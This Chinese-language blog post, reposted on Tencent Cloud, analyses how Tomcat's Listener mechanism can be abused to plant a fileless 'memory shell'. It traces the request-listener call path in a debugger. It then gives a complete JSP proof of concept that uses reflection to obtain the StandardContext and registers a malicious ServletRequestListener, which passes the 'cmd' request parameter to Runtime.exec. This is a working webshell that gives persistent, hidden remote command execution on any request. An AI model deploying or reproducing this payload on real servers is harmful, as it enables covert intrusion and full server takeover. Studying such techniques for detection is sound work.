首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Tomcat内存马之Listener内存马剖析

Tomcat内存马之Listener内存马剖析

作者头像
Al1ex
发布2025-02-08 14:26:20
发布2025-02-08 14:26:20
34000
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行
基本介绍

Listener是一种Java组件,它主要用于监听和响应Tomcat容器中特定事件的发生,Tomcat中的Listener主要用于在Web应用程序的生命周期内执行各种操作,例如:初始化资源、销毁资源、处理会话事件等,根据事件源的不同,我们可以将Listener分为如下几种,其中ServletRequestListener最适合用来作内存马,它主要用来监听ServletRequest对象的,访问任意资源都会触发ServletRequestListener#requestInitialized()方法:

  • ServletContextListener:监听Web应用程序的启动和关闭事件,需要实现contextInitialized和contextDestroyed两个方法
  • ServletRequestListener:监听HTTP请求的创建和销毁事件,需要实现requestInitialized和requestDestroyed两个方法
  • HttpSessionListener:监听HTTP会话的创建和销毁事件,需要实现sessionCreated和sessionDestroyed两个方法
  • HttpSessionAttributeListener:监听HTTP会话属性的添加、删除和替换事件,需要实现attributeAdded、attributeRemoved和attributeReplaced三个方法
动态注册

Apache Tomcat 7开始支持Servlet 3.0,Servlet 3.0引入了一项重要的特性——动态注册功能,这一功能使得开发者能够在运行时动态地注册Servlets、Fliter、Listener,而无需在web.xml配置文件中进行静态配置,这种灵活性大大简化了Web应用程序的管理和扩展,同时也为我们构造Tomcat中间件内存马奠定了基础,而无论是使用xml配置文件还是使用Annotation注解配置,均由Web容器进行初始化,读取其中的配置属性,然后向容器中进行注册,Servlet、Listener、Filter都是由javax.servlet.ServletContext去加载,从下面我们可以看到ServletContext提供了add*/create*方法来实现动态注册的功能

简易示例

下面我们创建一个简易的LIstener示例

代码语言:javascript
代码运行次数:0
运行
复制
package com.al1ex.servlet;

import javax.servlet.*;
import javax.servlet.annotation.WebListener;

@WebListener("/test")
public class ListenerTest implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("[+] destroy TestListener");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("[+] initial TestListener");
    }
}

运行结果如下所示:

调试分析

我们在requestInitialized方法处下断点进行调试分析:

完整的调用栈如下所示:

代码语言:javascript
代码运行次数:0
运行
复制
requestInitialized:15, ListenerTest (com.al1ex.servlet)
fireRequestInitEvent:5905, StandardContext (org.apache.catalina.core)
invoke:125, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:690, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:615, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:818, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1626, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

StandardContext#fireRequestInitEvent调用了我们的Listener,我们跟进看其实现

代码语言:javascript
代码运行次数:0
运行
复制
    public boolean fireRequestInitEvent(ServletRequest request) {
        Object[] instances = this.getApplicationEventListeners();
        if (instances != null && instances.length > 0) {
            ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);
            Object[] arr$ = instances;
            int len$ = arr$.length;

            for(int i$ = 0; i$ < len$; ++i$) {
                Object instance = arr$[i$];
                if (instance != null && instance instanceof ServletRequestListener) {
                    ServletRequestListener listener = (ServletRequestListener)instance;

                    try {
                        listener.requestInitialized(event);
                    } catch (Throwable var10) {
                        Throwable t = var10;
                        ExceptionUtils.handleThrowable(t);
                        this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instance.getClass().getName()}), t);
                        request.setAttribute("javax.servlet.error.exception", t);
                        return false;
                    }
                }
            }
        }

        return true;
    }

可以看到这里首先通过getApplicationEventListeners()获取一个Listener数组,然后遍历数组调用listener.requestInitialized(event)方法触发Listener,随后我们跟进getApplicationEventListeners()方法:

可以看到Listener实际上是存储在applicationEventListenersList属性中的

而且我们可以通过StandardContext#addApplicationEventListener()方法来添加Listener

注册实现

结合上面的分析我们可以得出Listener型内存马的实现步骤:

  • 获取StandardContext上下文
  • 实现一个恶意的Listener示例
  • 通过StandardContext#addApplicationEventListener方法添加恶意Listener
第一步实现

由于JSP内置了request对象,所以我们可以使用同样的方式来获取StandardContext上下文

代码语言:javascript
代码运行次数:0
运行
复制
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

另外一种实现方式:

代码语言:javascript
代码运行次数:0
运行
复制
<%
  WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>
第二步实现

接下来我们需要构造一个恶意的Listener类:

代码语言:javascript
代码运行次数:0
运行
复制
<%!
    public class ListenerShell implements ServletRequestListener {
 
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NullPointerException n) {
                    n.printStackTrace();
                }
            }
        }
 
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>
第三步实现

随后我们通过StandardContext#addApplicationEventListener方法添加恶意Listener

代码语言:javascript
代码运行次数:0
运行
复制
<%
  ListenerShell listenershell = new ListenerShell();
    context.addApplicationEventListener(listenershell);
%>
完整POC

完整的POC如下所示:

代码语言:javascript
代码运行次数:0
运行
复制
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
 
<%!
    public class ListenerShell implements ServletRequestListener {
 
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
           String cmd = request.getParameter("cmd");
           if (cmd != null) {
               try {
                   Runtime.getRuntime().exec(cmd);
               } catch (IOException e) {
                   e.printStackTrace();
               } catch (NullPointerException n) {
                   n.printStackTrace();
               }
            }
        }
 
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
 
    ListenerShell listenershell = new ListenerShell();
    context.addApplicationEventListener(listenershell);
%>

执行效果如下所示:

随后访问任意路由并执行载荷:

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-02-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基本介绍
  • 动态注册
  • 简易示例
  • 调试分析
  • 注册实现
    • 第一步实现
    • 第二步实现
    • 第三步实现
  • 完整POC
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档